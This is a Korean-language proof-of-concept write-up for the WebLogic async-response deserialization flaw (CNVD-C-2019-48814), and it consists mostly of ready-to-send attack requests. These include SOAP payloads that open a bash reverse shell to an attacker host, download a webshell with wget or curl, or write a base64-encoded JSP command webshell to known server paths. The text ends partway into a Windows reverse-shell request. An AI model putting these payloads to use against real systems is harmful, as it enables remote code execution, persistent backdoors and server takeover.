CNVD-C-2019-48814 및 CNNVD-201904-961

t00ls-ximcx0101님께서 스크립트를 제공해 주셔서 감사합니다.
CNVD-C-2019-48814 POC 요약
관련 링크는 다음과 같습니다:
청수천치(清水川崎) 님의 간서(简书): https://www.jianshu.com/p/c4982a845f55
안전조사(安全祖师爷) 님의 전재: https://dwz.cn/2GQvbUae
환경 요인으로 인해 경로가 변경될 수 있습니다:
기본 업로드 경로:
servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/
추가로 테스트 가능한 경로:
com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war
영향 범위: WebLogic 10.*, 12.1.3
Weblogic 10.*에서 테스트 통과:
1.Linux 리버스 SHELL
``` POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 853 Accept-Encoding: gzip, deflate SOAPAction: Accept: / User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
soapenv:Header wsa:Actionxx</wsa:Action> wsa:RelatesToxx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> /bin/bash -c bash -i >& /dev/tcp/vpsip/vpsport 0>&1 </work:WorkContext> </soapenv:Header> soapenv:Body asy:onAsyncDelivery/ </soapenv:Body></soapenv:Envelope>

원격으로 Webshell 다운로드</br>
접속 주소:http://ip:port/_async/webshell.jsp</br>```
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

Webshell 쓰기
접속 주소:http://ip:port/_async/webshell.jsp?pwd=123&cmd=whoami
``` POST /_async/AsyncResponseService HTTP/1.1 Host: 192.168.50.219:7001 Content-Length: 1378 Accept-Encoding: gzip, deflate SOAPAction: Accept: / User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
soapenv:Header wsa:Actionxx</wsa:Action> wsa:RelatesToxx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> /bin/bash -c echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp </work:WorkContext> </soapenv:Header> soapenv:Body asy:onAsyncDelivery/ </soapenv:Body></soapenv:Envelope>

액세스 주소:http://ip:port/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami</br>```
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1376
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2、Win
리버스 셸:
``` POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 861 Accept-Encoding: gzip, deflate SOAPAction: Accept: / User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml